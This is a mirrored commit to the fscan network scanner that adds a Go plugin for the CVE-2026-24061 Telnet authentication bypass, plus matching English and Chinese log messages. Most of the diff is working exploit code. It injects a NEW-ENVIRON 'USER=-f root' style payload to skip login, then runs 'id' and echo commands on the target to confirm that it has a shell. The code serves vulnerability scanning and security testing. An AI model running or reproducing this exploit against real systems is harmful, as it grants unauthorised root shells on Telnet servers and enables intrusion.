mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
add CVE-2026-24061 detect logic (#562)
* add CVE-2026-24061 detect logic * fix(telnet): 修复 errcheck 警告,统一错误处理风格 --------- Co-authored-by: ZacharyZcR <[email protected]>
This commit is contained in:
@@ -426,6 +426,8 @@ telnet_unauth_rce:
|
||||
other: "Telnet {{.Arg1}} unauthorized RCE [{{.Arg2}}] {{.Arg3}}"
|
||||
telnet_credential_rce:
|
||||
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} RCE verified [{{.Arg4}}] {{.Arg5}}"
|
||||
telnet_cve202624061:
|
||||
other: "Telnet {{.Arg1}} CVE-2026-24061 Telnetd Authentication Bypass (user: {{.Arg2}}) {{.Arg3}}"
|
||||
cassandra_credential:
|
||||
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
cassandra_service:
|
||||
|
||||
@@ -426,6 +426,8 @@ telnet_unauth_rce:
|
||||
other: "Telnet {{.Arg1}} 未授权访问且可执行命令 [{{.Arg2}}] {{.Arg3}}"
|
||||
telnet_credential_rce:
|
||||
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} 命令执行验证成功 [{{.Arg4}}] {{.Arg5}}"
|
||||
telnet_cve202624061:
|
||||
other: "Telnet {{.Arg1}} CVE-2026-24061 Telnet认证绕过 (用户: {{.Arg2}}) {{.Arg3}}"
|
||||
cassandra_credential:
|
||||
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
cassandra_service:
|
||||
|
||||
+273
-8
@@ -4,6 +4,7 @@ package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
@@ -16,14 +17,26 @@ import (
|
||||
|
||||
// Telnet协议时间常量
|
||||
const (
|
||||
telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟
|
||||
telnetRetryDelay = 500 * time.Millisecond // 重试延迟
|
||||
telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟
|
||||
telnetReadTimeout = 2 * time.Second // 读取超时
|
||||
telnetBannerTimeout = 3 * time.Second // Banner读取超时
|
||||
telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时
|
||||
telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时
|
||||
telnetMaxAttempts = 10 // 最大尝试次数
|
||||
telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟
|
||||
telnetRetryDelay = 500 * time.Millisecond // 重试延迟
|
||||
telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟
|
||||
telnetReadTimeout = 2 * time.Second // 读取超时
|
||||
telnetBannerTimeout = 3 * time.Second // Banner读取超时
|
||||
telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时
|
||||
telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时
|
||||
telnetMaxAttempts = 10 // 最大尝试次数
|
||||
)
|
||||
|
||||
// CVE-2026-24061 Telnet NEW-ENVIRON 选项常量
|
||||
const (
|
||||
telnetIAC = 0xFF // Telnet Interpret As Command
|
||||
telnetSB = 0xFA // Subnegotiation Begin
|
||||
telnetSE = 0xF0 // Subnegotiation End
|
||||
telnetNEWENVIRON = 39 // NEW-ENVIRON option
|
||||
telnetDO = 0xFD // DO
|
||||
telnetDONT = 0xFE // DONT
|
||||
telnetWILL = 0xFB // WILL
|
||||
telnetWONT = 0xFC // WONT
|
||||
)
|
||||
|
||||
// TelnetPlugin Telnet扫描插件
|
||||
@@ -70,6 +83,23 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *
|
||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||
}
|
||||
|
||||
// CVE-2026-24061: 使用配置的用户列表检测 Telnetd Authentication Bypass 漏洞
|
||||
cveUsers := config.Credentials.Userdict["telnet"]
|
||||
if len(cveUsers) == 0 {
|
||||
cveUsers = []string{"root", "admin", "administrator"}
|
||||
}
|
||||
for _, user := range cveUsers {
|
||||
if vuln, cveUser, evidence := p.checkCVE202624061(info, config, state, user); vuln {
|
||||
common.LogVuln(i18n.Tr("telnet_cve202624061", target, cveUser, evidence))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "telnet",
|
||||
Banner: fmt.Sprintf("CVE-2026-24061 Telnetd Authentication Bypass (user: %s)", cveUser),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
@@ -747,6 +777,241 @@ func (p *TelnetPlugin) drainBuffer(conn net.Conn) {
|
||||
}
|
||||
}
|
||||
|
||||
// checkCVE202624061 检测 CVE-2026-24061 Telnetd Authentication Bypass 漏洞
|
||||
// 利用 NEW-ENVIRON (option 39) 子协商注入恶意环境变量,实现认证绕过
|
||||
// 返回 (是否漏洞, 触发用户名, 证据)
|
||||
func (p *TelnetPlugin) checkCVE202624061(info *common.HostInfo, config *common.Config, state *common.State, user string) (bool, string, string) {
|
||||
conn, err := net.DialTimeout("tcp", info.Target(), config.Timeout)
|
||||
if err != nil {
|
||||
return false, "", ""
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
chk := &cveChecker{
|
||||
conn: conn,
|
||||
user: user,
|
||||
buf: make([]byte, 4096),
|
||||
}
|
||||
return chk.run()
|
||||
}
|
||||
|
||||
// cveChecker CVE-2026-24061 检测器 (基于验证过的 POC 逻辑)
|
||||
type cveChecker struct {
|
||||
conn net.Conn
|
||||
user string
|
||||
exploitSent bool
|
||||
buf []byte
|
||||
}
|
||||
|
||||
// sendPayload 发送 NEW-ENVIRON 恶意环境变量 payload
|
||||
func (e *cveChecker) sendPayload() {
|
||||
payload := []byte{telnetIAC, telnetSB, telnetNEWENVIRON, 0, 0}
|
||||
payload = append(payload, []byte("USER")...)
|
||||
payload = append(payload, 1) // SEND indicator
|
||||
payload = append(payload, []byte("-f "+e.user)...)
|
||||
payload = append(payload, telnetIAC, telnetSE)
|
||||
_, _ = e.conn.Write(payload)
|
||||
e.exploitSent = true
|
||||
}
|
||||
|
||||
// sendSubResp 响应服务端子协商请求
|
||||
func (e *cveChecker) sendSubResp(opt byte, data []byte) {
|
||||
resp := []byte{telnetIAC, telnetSB, opt, 0}
|
||||
resp = append(resp, data...)
|
||||
resp = append(resp, telnetIAC, telnetSE)
|
||||
_, _ = e.conn.Write(resp)
|
||||
}
|
||||
|
||||
// parseIAC 解析 Telnet IAC 协商报文,返回非 IAC 数据部分
|
||||
func (e *cveChecker) parseIAC(data []byte) []byte {
|
||||
var output []byte
|
||||
i := 0
|
||||
for i < len(data) {
|
||||
if data[i] != telnetIAC {
|
||||
output = append(output, data[i])
|
||||
i++
|
||||
continue
|
||||
}
|
||||
i++
|
||||
if i >= len(data) {
|
||||
break
|
||||
}
|
||||
cmd := data[i]
|
||||
i++
|
||||
if cmd == telnetIAC {
|
||||
output = append(output, 0xFF) // IAC 转义
|
||||
continue
|
||||
}
|
||||
// 子协商 (SB)
|
||||
if cmd == telnetSB {
|
||||
if i >= len(data) {
|
||||
break
|
||||
}
|
||||
sbOpt := data[i]
|
||||
i++
|
||||
var sbData []byte
|
||||
for i < len(data)-1 {
|
||||
if data[i] == telnetIAC && data[i+1] == telnetSE {
|
||||
i += 2
|
||||
break
|
||||
}
|
||||
sbData = append(sbData, data[i])
|
||||
i++
|
||||
}
|
||||
// 服务端要求回显数据 (SEND indicator = 1)
|
||||
if len(sbData) > 0 && sbData[0] == 1 {
|
||||
switch sbOpt {
|
||||
case 24:
|
||||
e.sendSubResp(24, []byte("xterm"))
|
||||
case 32:
|
||||
e.sendSubResp(32, []byte("38400,38400"))
|
||||
case telnetNEWENVIRON:
|
||||
if !e.exploitSent {
|
||||
e.sendPayload()
|
||||
}
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
// DO/DONT/WILL/WONT 协商
|
||||
if cmd == telnetDO || cmd == telnetDONT || cmd == telnetWILL || cmd == telnetWONT {
|
||||
if i >= len(data) {
|
||||
break
|
||||
}
|
||||
opt := data[i]
|
||||
i++
|
||||
switch cmd {
|
||||
case telnetDO:
|
||||
if opt == 24 || opt == 32 || opt == telnetNEWENVIRON {
|
||||
_, _ = e.conn.Write([]byte{telnetIAC, telnetWILL, opt})
|
||||
} else {
|
||||
_, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt})
|
||||
}
|
||||
case telnetWILL:
|
||||
if opt == 1 || opt == 3 {
|
||||
_, _ = e.conn.Write([]byte{telnetIAC, telnetDO, opt})
|
||||
} else {
|
||||
_, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt})
|
||||
}
|
||||
case telnetWONT:
|
||||
_, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt})
|
||||
case telnetDONT:
|
||||
_, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt})
|
||||
}
|
||||
}
|
||||
}
|
||||
return output
|
||||
}
|
||||
|
||||
// readAll 读取连接中的所有可用数据
|
||||
func (e *cveChecker) readAll() []byte {
|
||||
var out []byte
|
||||
for {
|
||||
_ = e.conn.SetReadDeadline(time.Now().Add(1 * time.Second))
|
||||
n, err := e.conn.Read(e.buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if n > 0 {
|
||||
out = append(out, e.parseIAC(e.buf[:n])...)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// genToken 生成 16 位随机验证 token
|
||||
func (e *cveChecker) genToken() string {
|
||||
b := make([]byte, 8)
|
||||
_, _ = rand.Read(b)
|
||||
return fmt.Sprintf("%x", b)
|
||||
}
|
||||
|
||||
// extractEvidence 从输出中提取包含关键词的完整行作为证据,清理 \r 控制字符
|
||||
func (e *cveChecker) extractEvidence(data string, keywords []string) string {
|
||||
for _, kw := range keywords {
|
||||
for _, line := range strings.Split(data, "\n") {
|
||||
line = strings.TrimSpace(strings.ReplaceAll(line, "\r", ""))
|
||||
if line != "" && strings.Contains(line, kw) {
|
||||
return "[" + line + "]"
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// run 执行 CVE-2026-24061 检测流程
|
||||
// 优先级: id 命令 > echo token > shell prompt 特征
|
||||
func (e *cveChecker) run() (bool, string, string) {
|
||||
// 阶段 1: IAC 协商
|
||||
_ = e.conn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
n, err := e.conn.Read(e.buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
out := e.parseIAC(e.buf[:n])
|
||||
if len(out) > 0 || e.exploitSent {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 协商未触发 exploit 则主动发送
|
||||
if !e.exploitSent {
|
||||
e.sendPayload()
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
for {
|
||||
_ = e.conn.SetReadDeadline(time.Now().Add(500 * time.Millisecond))
|
||||
n, err := e.conn.Read(e.buf)
|
||||
if err != nil || n == 0 {
|
||||
break
|
||||
}
|
||||
e.parseIAC(e.buf[:n])
|
||||
}
|
||||
}
|
||||
|
||||
// 阶段 2: id 命令检测 (多次读取确保完整输出)
|
||||
_, _ = e.conn.Write([]byte("id\n"))
|
||||
time.Sleep(1500 * time.Millisecond)
|
||||
|
||||
var idOutput string
|
||||
for i := 0; i < 3; i++ {
|
||||
part := e.readAll()
|
||||
if len(part) > 0 {
|
||||
idOutput += string(part)
|
||||
}
|
||||
if len(part) == 0 {
|
||||
break
|
||||
}
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
}
|
||||
|
||||
// 检测 1: id 命令输出 (uid=/gid=/root/nobody)
|
||||
evidence := e.extractEvidence(idOutput, []string{"uid=", "gid=", "root", "nobody"})
|
||||
if evidence != "" {
|
||||
return true, e.user, evidence
|
||||
}
|
||||
|
||||
// 阶段 3: echo token 验证
|
||||
token := e.genToken()
|
||||
_, _ = e.conn.Write([]byte("echo " + token + "\n"))
|
||||
time.Sleep(1 * time.Second)
|
||||
|
||||
result := string(e.readAll())
|
||||
stripped := strings.Replace(result, "echo "+token+"\n", "", 1)
|
||||
if strings.Contains(stripped, token) {
|
||||
return true, e.user, "[echo " + token + "]"
|
||||
}
|
||||
|
||||
// 阶段 4: Shell prompt 特征
|
||||
for _, pp := range []string{"# ", "$ ", "login: ", "Last login:", "Welcome to"} {
|
||||
if strings.Contains(result, pp) {
|
||||
return true, e.user, "[" + strings.TrimSpace(pp) + "]"
|
||||
}
|
||||
}
|
||||
|
||||
return false, "", ""
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("telnet", func() Plugin {
|
||||
return NewTelnetPlugin()
|
||||
|
||||
Reference in New Issue
Block a user